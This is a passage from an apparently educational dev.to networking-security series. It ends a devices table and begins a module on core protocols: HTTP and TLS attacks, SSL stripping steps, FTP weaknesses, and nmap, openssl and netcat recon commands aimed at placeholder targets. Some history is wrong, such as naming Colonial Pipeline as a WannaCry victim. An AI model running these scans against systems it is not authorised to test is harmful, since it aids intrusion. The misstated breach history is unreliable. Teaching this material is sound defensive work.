&lt;td&gt;&lt;strong&gt;Router&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;IP-based packet forwarding&lt;/td&gt;
&lt;td&gt;Route injection, BGP hijacking, default creds&lt;/td&gt;
&lt;td&gt;Routing auth, ACLs, hardening&lt;/td&gt;
&lt;td&gt;Zone boundary in OT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;L2 Switch&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;MAC forwarding, single broadcast domain&lt;/td&gt;
&lt;td&gt;VLAN hopping, MAC flooding&lt;/td&gt;
&lt;td&gt;802.1X, port security&lt;/td&gt;
&lt;td&gt;OT device connectivity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;L3 Switch&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;2-3&lt;/td&gt;
&lt;td&gt;L2 + routing, wire-speed inter-VLAN&lt;/td&gt;
&lt;td&gt;Route manipulation, ACL bypass&lt;/td&gt;
&lt;td&gt;SVIs + ACLs, no substitute for NGFW&lt;/td&gt;
&lt;td&gt;OT distribution layer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Packet Filter&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;3-4&lt;/td&gt;
&lt;td&gt;IP/port-based stateless filtering&lt;/td&gt;
&lt;td&gt;ACK scan bypass, fragmentation evasion&lt;/td&gt;
&lt;td&gt;Upgrade to stateful&lt;/td&gt;
&lt;td&gt;Legacy OT firewalls&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Stateful FW&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;3-4&lt;/td&gt;
&lt;td&gt;Connection state tracking&lt;/td&gt;
&lt;td&gt;State table exhaustion, app-layer attacks blind&lt;/td&gt;
&lt;td&gt;Application-layer inspection&lt;/td&gt;
&lt;td&gt;IT-OT boundary firewalls&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;NGFW&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;3-7&lt;/td&gt;
&lt;td&gt;App-aware, user-aware, SSL inspection&lt;/td&gt;
&lt;td&gt;NGFW itself exploited (CVE-2024-3400)&lt;/td&gt;
&lt;td&gt;Patch immediately, restrict management&lt;/td&gt;
&lt;td&gt;Replacing legacy industrial firewalls&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;IDS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;All&lt;/td&gt;
&lt;td&gt;Passive traffic monitoring and alerting&lt;/td&gt;
&lt;td&gt;Evasion (fragmentation, encryption, slow scan)&lt;/td&gt;
&lt;td&gt;Tune rules, reduce false positives&lt;/td&gt;
&lt;td&gt;OT protocol anomaly detection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;IPS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;All&lt;/td&gt;
&lt;td&gt;Inline traffic blocking&lt;/td&gt;
&lt;td&gt;False positive DoS, evasion techniques&lt;/td&gt;
&lt;td&gt;Redundancy, bypass mode, regular tuning&lt;/td&gt;
&lt;td&gt;Rare in OT due to reliability concerns&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Forward Proxy&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;Client traffic control and filtering&lt;/td&gt;
&lt;td&gt;C2 via allowed destinations (GitHub, GDrive)&lt;/td&gt;
&lt;td&gt;TLS inspection, behavioural analysis&lt;/td&gt;
&lt;td&gt;Engineering workstation internet access&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Reverse Proxy&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;Backend server protection and TLS termination&lt;/td&gt;
&lt;td&gt;Origin server bypass, proxy vulnerabilities&lt;/td&gt;
&lt;td&gt;WAF integration, restrict origin access&lt;/td&gt;
&lt;td&gt;OT HMI web interface protection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Load Balancer&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;4-7&lt;/td&gt;
&lt;td&gt;Traffic distribution, redundancy&lt;/td&gt;
&lt;td&gt;LB itself exploited (F5 CVE-2020-5902)&lt;/td&gt;
&lt;td&gt;Patch, restrict management, HA configuration&lt;/td&gt;
&lt;td&gt;Limited in OT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;VPN Gateway&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;3-7&lt;/td&gt;
&lt;td&gt;Encrypted remote access&lt;/td&gt;
&lt;td&gt;Pre-auth RCE (CVE-2024-3400, Pulse 2019)&lt;/td&gt;
&lt;td&gt;Patch urgently, MFA, restrict management&lt;/td&gt;
&lt;td&gt;Critical for remote OT access&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;WAF&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;HTTP attack filtering&lt;/td&gt;
&lt;td&gt;WAF bypass (encoding, fragmentation, origin bypass)&lt;/td&gt;
&lt;td&gt;Defence-in-depth with secure code&lt;/td&gt;
&lt;td&gt;OT HMI/web interface protection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Modem&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;1-2&lt;/td&gt;
&lt;td&gt;ISP signal conversion&lt;/td&gt;
&lt;td&gt;Default creds, firmware exploits, UPnP&lt;/td&gt;
&lt;td&gt;Firmware updates, disable UPnP, change creds&lt;/td&gt;
&lt;td&gt;ISP connectivity for OT remote sites&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Home Gateway&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;1-7&lt;/td&gt;
&lt;td&gt;All-in-one SOHO device&lt;/td&gt;
&lt;td&gt;Default creds, UPnP, firmware (Mirai, VPNFilter)&lt;/td&gt;
&lt;td&gt;Change creds, disable UPnP, update firmware&lt;/td&gt;
&lt;td&gt;Remote worker VPN endpoints&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Next Module:&lt;/strong&gt; &lt;a href="//./stage-1.7-wireless-networks.md"&gt;Stage 1.7 — Wireless Networks&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Previous Module:&lt;/strong&gt; &lt;a href="//./stage-1.5-core-protocols.md"&gt;Stage 1.5 — Core Protocols&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Series Index:&lt;/strong&gt; &lt;a href="//../../README.md"&gt;Full Roadmap&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;em&gt;This document is part of the Cybersecurity × OT/ICS Security Full Roadmap series. All techniques are presented for educational purposes, authorised security research, and defensive security practice. Always obtain proper authorisation before testing any system.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>network</category>
      <category>learning</category>
      <category>github</category>
    </item>
    <item>
      <title>Stage 1.5 — Core Protocols</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Fri, 05 Jun 2026 12:06:23 +0000</pubDate>
      <link>https://dev.to/rencberakman/stage-15-core-protocols-4gac</link>
      <guid>https://dev.to/rencberakman/stage-15-core-protocols-4gac</guid>
      <description>&lt;h3&gt;
  
  
  From Zero to Cybersecurity Professional | Complete Roadmap Series
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Series:&lt;/strong&gt; Cybersecurity × OT/ICS Security — Full Roadmap&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Stage:&lt;/strong&gt; 1 — Network Fundamentals&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Module:&lt;/strong&gt; 1.5 — Core Protocols&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Level:&lt;/strong&gt; Beginner → Advanced&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Prerequisites:&lt;/strong&gt; Stage 1.4 — IP Addressing and Subnetting&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Next Module:&lt;/strong&gt; 1.6 — Network Devices&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Why Protocols Are the Attack Surface&lt;/li&gt;
&lt;li&gt;HTTP and HTTPS&lt;/li&gt;
&lt;li&gt;FTP, SFTP, and FTPS&lt;/li&gt;
&lt;li&gt;SMTP, POP3, and IMAP&lt;/li&gt;
&lt;li&gt;SSH — Secure Shell&lt;/li&gt;
&lt;li&gt;Telnet — The Insecure Predecessor&lt;/li&gt;
&lt;li&gt;SNMP — Simple Network Management Protocol&lt;/li&gt;
&lt;li&gt;NTP — Network Time Protocol&lt;/li&gt;
&lt;li&gt;LDAP — Lightweight Directory Access Protocol&lt;/li&gt;
&lt;li&gt;RDP — Remote Desktop Protocol&lt;/li&gt;
&lt;li&gt;SMB — Server Message Block&lt;/li&gt;
&lt;li&gt;Protocol Security Matrix&lt;/li&gt;
&lt;li&gt;OT/ICS Protocol Context&lt;/li&gt;
&lt;li&gt;Hands-On Exercises&lt;/li&gt;
&lt;li&gt;Module Summary&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Why Protocols Are the Attack Surface
&lt;/h2&gt;

&lt;p&gt;Protocols are agreements. When two systems communicate, they follow a set of rules — the protocol — that defines exactly how the conversation happens. The security implication is profound: &lt;strong&gt;every rule in a protocol is a potential attack vector, and every weakness in a protocol's design is a permanent vulnerability in every system that implements it.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Real breaches by protocol:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;EternalBlue (2017):&lt;/strong&gt; NSA-developed exploit targeting SMBv1. Used by WannaCry to infect 200,000 machines in 150 countries in 72 hours. Colonial Pipeline, NHS hospitals, Telefónica — all hit. The vulnerability was in how SMBv1 handled certain transaction requests. One protocol weakness, global catastrophe.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;BlueKeep (CVE-2019-0708):&lt;/strong&gt; Pre-authentication RDP vulnerability. No credentials required. Remote code execution as SYSTEM. Microsoft issued patches for out-of-support Windows XP specifically because the threat was that severe.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Log4Shell (CVE-2021-44228):&lt;/strong&gt; While a software vulnerability, it was exploited entirely through HTTP — specifically through HTTP headers that contained JNDI lookup strings. The attack surface was every application that logged HTTP request headers using Log4j.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;FTP credential exposure:&lt;/strong&gt; Default FTP credentials on network devices enabled the 2016 Mirai botnet to compromise 600,000 IoT devices and launch the largest DDoS attack in history (1.2 Tbps against Dyn DNS), taking down Twitter, Netflix, Reddit, and Amazon simultaneously.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For your OT/ICS path:&lt;/strong&gt; Telnet is still the management interface on a significant percentage of industrial network switches, RTUs, and legacy PLCs. SNMP v1 and v2c with default community strings expose the management plane of every industrial network device. NTP vulnerabilities can desynchronise protection relay timestamps, causing grid protection systems to malfunction. Understanding these protocols is not optional — it is the foundation of every assessment you will ever conduct.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. HTTP and HTTPS
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2.1 HTTP — HyperText Transfer Protocol
&lt;/h3&gt;

&lt;p&gt;HTTP is the application-layer protocol that powers the web. Every time a browser loads a page, every time an API is called, every time a SCADA HMI fetches data from a web service — HTTP is the underlying protocol.&lt;/p&gt;

&lt;p&gt;HTTP runs over TCP (default port 80). It is stateless — each request is independent. The server does not remember previous requests unless the application implements session management (cookies, tokens).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HTTP Request Structure:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Method URI HTTP-Version\r\n
Header-Name: Header-Value\r\n
Header-Name: Header-Value\r\n
\r\n
[Optional Body]

Example:
POST /api/login HTTP/1.1\r\n
Host: target.com\r\n
User-Agent: Mozilla/5.0 (X11; Linux x86_64)\r\n
Content-Type: application/json\r\n
Content-Length: 42\r\n
Cookie: session=abc123def456\r\n
\r\n
{"username": "admin", "password": "test123"}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;HTTP Methods and Security Relevance:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET     Retrieve a resource. Parameters in URL. Logged in server logs, browser history,
        proxy logs, Referer headers. Never use GET for sensitive data.

POST    Send data in request body. Not in URL. Used for form submissions, API calls.
        Still logged, but body usually not logged by default.

PUT     Create or replace a resource at a specific URI. 
        If enabled on web servers without auth: arbitrary file upload.

DELETE  Delete a resource. If enabled without auth: data destruction.

PATCH   Partial update to a resource.

OPTIONS Returns allowed HTTP methods for a resource.
        Security use: enumerate what methods a server accepts.

HEAD    Like GET but returns only headers, no body. Used for:
        - Checking if resource exists without downloading it
        - Getting metadata (Content-Length, Last-Modified)

TRACE   Echoes the request back. Used for diagnostics.
        Security risk: Cross-Site Tracing (XST) — can steal cookies
        via JavaScript if HttpOnly flag not set.
        Should be DISABLED on all web servers.

CONNECT Establish a tunnel through a proxy to a destination.
        Allows HTTPS through HTTP proxies.
        Abuse: use proxy as relay to other internal systems.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;HTTP Response Structure:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt; &lt;span class="m"&gt;200&lt;/span&gt; &lt;span class="ne"&gt;OK\r\n&lt;/span&gt;
&lt;span class="na"&gt;Server&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Apache/2.4.51\r\n           ← Version disclosure — information to attacker&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;text/html; charset=utf-8\r\n&lt;/span&gt;
&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;session=xyz789; Path=/; HttpOnly; Secure; SameSite=Strict\r\n&lt;/span&gt;
&lt;span class="na"&gt;X-Frame-Options&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;DENY\r\n           ← Security header&lt;/span&gt;
&lt;span class="na"&gt;Content-Security-Policy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;default-src 'self'\r\n  ← Security header&lt;/span&gt;
&lt;span class="na"&gt;Strict-Transport-Security&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;max-age=31536000; includeSubDomains\r\n&lt;/span&gt;
&lt;span class="s"&gt;\r\n&lt;/span&gt;
&lt;span class="s"&gt;[HTML Body]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;HTTP Status Codes — Security Relevance:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1xx Information:
  100 Continue — client should send body after receiving this

2xx Success:
  200 OK
  201 Created — resource was created (PUT/POST success)
  204 No Content — success but no body (DELETE success)

3xx Redirection:
  301 Moved Permanently — permanent redirect (cached by browser)
  302 Found — temporary redirect
  Open Redirect vulnerability: if the redirect URL is user-controlled

4xx Client Errors:
  400 Bad Request — malformed request (useful for fuzzing — different errors reveal different things)
  401 Unauthorized — authentication required (auth bypass target)
  403 Forbidden — authenticated but no permission (privilege escalation target)
  404 Not Found — resource doesn't exist
  405 Method Not Allowed — method not permitted for this resource
  429 Too Many Requests — rate limiting active

5xx Server Errors:
  500 Internal Server Error — server crashed (may reveal stack traces, source code paths)
  502 Bad Gateway — upstream server error
  503 Service Unavailable — server overloaded (DoS indicator)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;HTTP Headers — Security Implications:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Request headers of interest to security:
  Host:           Target hostname — Host header injection if not validated
  Authorization:  Credentials (Basic base64, Bearer token, API key)
  Cookie:         Session tokens — primary theft target
  User-Agent:     Client identification — spoofed by attackers
  Referer:        Previous page URL — can leak sensitive URLs in logs
  X-Forwarded-For:Client IP when behind proxy — can be spoofed to bypass IP restrictions
  Content-Type:   Body format — affects how server processes body (JSON vs XML vs multipart)
  Origin:         CORS pre-flight source — CORS misconfiguration exploitation

Response headers of interest:
  Server:           Software version — remove or mask (information disclosure)
  X-Powered-By:     Framework version — remove (information disclosure)
  Set-Cookie:       Session cookie attributes:
                    HttpOnly: prevents JS access (XSS cookie theft mitigation)
                    Secure: only sent over HTTPS
                    SameSite: CSRF mitigation (Lax/Strict/None)
  Location:         Redirect target — open redirect if user-controlled
  Access-Control-Allow-Origin: CORS policy — * is dangerous
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.2 HTTPS — HTTP Secured with TLS
&lt;/h3&gt;

&lt;p&gt;HTTPS is HTTP running over TLS (Transport Layer Security). The connection is established with a TLS handshake before any HTTP data is exchanged. Port 443.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What HTTPS protects:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Confidentiality: traffic encrypted, intermediate parties cannot read it&lt;/li&gt;
&lt;li&gt;Integrity: traffic cannot be modified in transit without detection&lt;/li&gt;
&lt;li&gt;Authentication: server proves its identity via certificate&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;What HTTPS does NOT protect:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Metadata: destination IP and hostname (via SNI in TLS handshake) are visible&lt;/li&gt;
&lt;li&gt;Traffic volume and timing: can reveal page identity even with encryption&lt;/li&gt;
&lt;li&gt;Server-side code: vulnerabilities in the application still exploitable&lt;/li&gt;
&lt;li&gt;TLS termination points: CDN, load balancer, WAF decrypt traffic — they see plaintext&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;SSL/TLS Attack History:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;BEAST (CVE-2011-3389):
  TLS 1.0 CBC mode vulnerability
  Attacker on same network could decrypt HTTPS cookies
  Fixed: upgrade to TLS 1.1+, use RC4 (then later discovered RC4 was broken too)

CRIME (CVE-2012-4929):
  TLS compression oracle — recover HTTPS session cookies
  Fixed: disable TLS compression (now disabled by default)

BREACH (2013):
  HTTP-level compression oracle — not a CVE but a design weakness
  Affects any HTTPS connection with compressed body
  Mitigation: rate-limit guesses, use CSRF tokens, disable HTTP compression

POODLE (CVE-2014-3566):
  SSLv3 CBC padding oracle — decrypt session cookies
  Fixed: disable SSLv3 entirely

Heartbleed (CVE-2014-0160):
  OpenSSL memory leak via malformed heartbeat request
  Up to 64KB of server memory per request — leaked private keys, passwords, session tokens
  No authentication required
  Affected: ~17% of secure web servers at time of disclosure
  Fixed: patch OpenSSL, rotate all certificates and credentials

FREAK (CVE-2015-0204):
  Force client to use export-grade RSA (512-bit, breakable in hours)
  Then factor the key and decrypt traffic
  Fixed: disable export cipher suites

Logjam (CVE-2015-4000):
  Force server to use 512-bit Diffie-Hellman — factorable
  Fixed: use 2048-bit DH minimum, prefer ECDH

DROWN (CVE-2016-0800):
  SSLv2 protocol attacks allowing decryption of TLS sessions
  Any server sharing a private key with an SSLv2-enabled server was vulnerable
  Fixed: disable SSLv2 everywhere, don't share private keys

ROBOT (CVE-2017-17382 and others, 2017):
  Return of BLEICHENBACHER's Oracle Threat
  19-year-old RSA PKCS#1 padding oracle resurfaced in TLS 1.2
  Affected: F5, Cisco, Citrix, Palo Alto, many others

Lucky13 (CVE-2013-0169):
  Timing attack against TLS CBC mode
  Fixed: constant-time MAC verification
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Testing TLS Security:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# testssl.sh — comprehensive TLS security assessment&lt;/span&gt;
&lt;span class="c"&gt;# Install: git clone --depth 1 https://github.com/drwetter/testssl.sh.git&lt;/span&gt;
./testssl.sh target.com:443

&lt;span class="c"&gt;# Check supported TLS versions (older = insecure):&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; target.com:443 &lt;span class="nt"&gt;-tls1&lt;/span&gt;    &lt;span class="c"&gt;# TLS 1.0 (deprecated)&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; target.com:443 &lt;span class="nt"&gt;-tls1_1&lt;/span&gt;  &lt;span class="c"&gt;# TLS 1.1 (deprecated)&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; target.com:443 &lt;span class="nt"&gt;-tls1_2&lt;/span&gt;  &lt;span class="c"&gt;# TLS 1.2 (acceptable)&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; target.com:443 &lt;span class="nt"&gt;-tls1_3&lt;/span&gt;  &lt;span class="c"&gt;# TLS 1.3 (preferred)&lt;/span&gt;

&lt;span class="c"&gt;# If -tls1 or -tls1_1 succeed: server supports deprecated protocols — vulnerability&lt;/span&gt;

&lt;span class="c"&gt;# Check certificate details:&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; target.com:443 &amp;lt;/dev/null 2&amp;gt;/dev/null | &lt;span class="se"&gt;\&lt;/span&gt;
    openssl x509 &lt;span class="nt"&gt;-noout&lt;/span&gt; &lt;span class="nt"&gt;-text&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"Subject:|Issuer:|Not After|SAN|DNS:"&lt;/span&gt;

&lt;span class="c"&gt;# Check for weak cipher suites:&lt;/span&gt;
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; ssl-enum-ciphers &lt;span class="nt"&gt;-p&lt;/span&gt; 443 target.com
&lt;span class="c"&gt;# Look for: RC4, DES, 3DES, EXPORT, NULL — all weak&lt;/span&gt;

&lt;span class="c"&gt;# Check HTTP security headers:&lt;/span&gt;
curl &lt;span class="nt"&gt;-sI&lt;/span&gt; https://target.com | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-iE&lt;/span&gt; &lt;span class="s2"&gt;"strict-transport|content-security|x-frame|x-content-type|referrer"&lt;/span&gt;

&lt;span class="c"&gt;# Full automated scan:&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;--script&lt;/span&gt; ssl-heartbleed,ssl-poodle,ssl-dh-params target.com &lt;span class="nt"&gt;-p&lt;/span&gt; 443

&lt;span class="c"&gt;# Check HSTS:&lt;/span&gt;
curl &lt;span class="nt"&gt;-sI&lt;/span&gt; https://target.com | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"Strict-Transport-Security"&lt;/span&gt;
&lt;span class="c"&gt;# max-age should be at least 31536000 (1 year)&lt;/span&gt;
&lt;span class="c"&gt;# includeSubDomains extends to all subdomains&lt;/span&gt;
&lt;span class="c"&gt;# preload submits domain to browser HSTS preload list&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;SSL Stripping Attack:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SSL Stripping (Moxie Marlinspike, 2009):
  Target: HTTP connections that redirect to HTTPS

  Attack sequence:
  1. Attacker performs MITM (ARP poisoning, rogue AP, etc.)
  2. Client sends HTTP request: GET http://bank.com/
  3. Attacker intercepts, forwards to bank.com over HTTPS
  4. Bank responds with redirect to https://bank.com/
  5. Attacker intercepts the redirect, converts to HTTP
  6. Client receives HTTP response (thinks it's already using HTTP)
  7. All subsequent communication: Client ←HTTP→ Attacker ←HTTPS→ Bank
  8. Attacker sees all plaintext traffic including passwords

Detection:
  Browser shows "Not Secure" warning (HTTP)
  URL bar shows http:// instead of https://

Mitigation:
  HSTS: Once visited over HTTPS, browser always uses HTTPS regardless of link
  HSTS preload: Browser never tries HTTP, even on first visit

Tool: sslstrip (Moxie Marlinspike), bettercap's hstshijack module
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; HTTPS protects the wire, not the application. A perfectly implemented TLS connection to a vulnerable web application still results in a breach. HTTP security headers (HSTS, CSP, X-Frame-Options) are not optional — they are the difference between a vulnerability being exploitable or not.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  3. FTP, SFTP, and FTPS
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 FTP — File Transfer Protocol
&lt;/h3&gt;

&lt;p&gt;FTP (RFC 959, 1985) predates modern security thinking. It was designed for maximum compatibility and zero security. Understanding its architecture reveals exactly why it is dangerous and why it persists despite being dangerous.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;FTP Control and Data Channels:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;FTP uses TWO separate TCP connections:

Control channel (TCP 21):
  Client → Server: commands (USER, PASS, LIST, RETR, STOR, QUIT)
  Server → Client: responses (220 ready, 331 password required, 230 logged in)
  Always client-initiated
  Connection persists for the entire FTP session

Data channel:
  Used for: directory listings, file transfers
  Created NEW for each transfer
  TWO modes determine who initiates:

  Active mode (PORT command):
    Client sends: PORT 192,168,1,5,200,100
    (Decoded: 192.168.1.5, port = 200×256+100 = 51300)
    Server connects FROM port 20 TO client 192.168.1.5:51300
    Problem: Firewall/NAT blocks incoming connections to client

  Passive mode (PASV command):
    Client sends: PASV
    Server responds: 227 Entering Passive Mode (192,168,1,100,100,50)
    (Server is listening on port 100×256+50 = 25650)
    Client connects TO server 192.168.1.100:25650
    Firewall-friendly: client initiates both connections
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;FTP Security Failures:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. Credentials transmitted in cleartext:
   USER admin\r\n                   ← Username visible on wire
   PASS secretpassword\r\n          ← Password visible on wire

   Any network observer captures credentials.
   Wireshark filter: ftp.request.command == "PASS"

2. Data transmitted in cleartext:
   All file content visible during transfer
   Directory listings visible

3. Anonymous FTP:
   USER anonymous\r\n
   PASS anystring@\r\n              ← Convention: use email as password
   If server allows anonymous: full access without credentials
   Many legacy servers still have anonymous enabled

4. Bounce attack:
   FTP PORT command specifies third-party IP:port for data connection
   Server connects to the third party "on behalf of" the attacker
   Used to: port scan from FTP server, bypass IP-based access controls
   Mitigated by: checking PORT address matches client IP

5. PASV injection:
   If attacker can MITM control channel:
   Replace server's PASV response with attacker-controlled IP:port
   Client connects to attacker for data transfer → credential capture
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;FTP in Practice — Attack and Detection:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check for anonymous FTP access:&lt;/span&gt;
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; ftp-anon &lt;span class="nt"&gt;-p&lt;/span&gt; 21 target_ip
&lt;span class="c"&gt;# Or manually:&lt;/span&gt;
ftp target_ip
&lt;span class="c"&gt;# At login prompt: user anonymous, password anything&lt;/span&gt;

&lt;span class="c"&gt;# FTP banner grabbing (reveals server software and version):&lt;/span&gt;
nc target_ip 21
